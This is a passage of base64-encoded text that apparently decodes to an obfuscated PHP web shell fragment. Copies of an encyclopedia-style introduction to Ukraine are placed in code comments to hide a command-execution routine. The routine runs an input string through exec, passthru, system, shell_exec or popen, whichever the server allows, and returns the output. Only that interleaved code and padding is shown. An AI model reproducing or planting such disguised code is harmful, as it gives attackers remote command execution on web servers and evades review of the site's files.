250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkkb3V0ID0gJyc7CglpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwkb3V0KTsKCQkkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgl9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewoJCW9iX3N0YXJ0KCk7CgkJQHBhc3N0aHJ1KCRpbik7CgkJJG91dCA9IG9iX2dldF9jbGVhbigpOwoJfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsKCQlAc3lzdGVtKCRpbik7CgkJJG91dCA9IG9iX2dldF9jbGVhbigpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKCQkkb3V0ID0gc2hlbGxfZXhlYygkaW4pOwoJfWVsc2VpZihpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkkb3V0ID0gIiI7CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKCQlwY2xvc2UoJGYpOwoJfQoJcmV0dXJuICRvdXQ7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlR